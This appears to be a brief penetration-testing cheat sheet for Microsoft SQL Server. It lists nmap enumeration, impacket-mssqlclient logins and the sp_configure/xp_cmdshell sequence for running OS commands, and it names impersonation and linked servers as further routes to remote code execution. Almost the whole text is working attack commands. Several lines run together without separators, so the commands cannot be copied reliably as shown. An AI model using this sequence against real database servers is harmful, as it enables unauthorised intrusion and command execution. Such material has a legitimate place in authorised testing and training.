Microsoft SQL Server — enumerate, then xp_cmdshell / impersonation / linked servers for RCE.
nmap -p1433 -sV -sC $tnmap -p1433 --script ms-sql-info,ms-sql-ntlm-info $timpacket-mssqlclient <domain>/<user>:<pass>@$t -windows-authmssqlclient.py <user>:<pass>@$tEnable xp_cmdshell if disabled, then run OS commands.
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;SQL> EXEC xp_cmdshell 'whoami';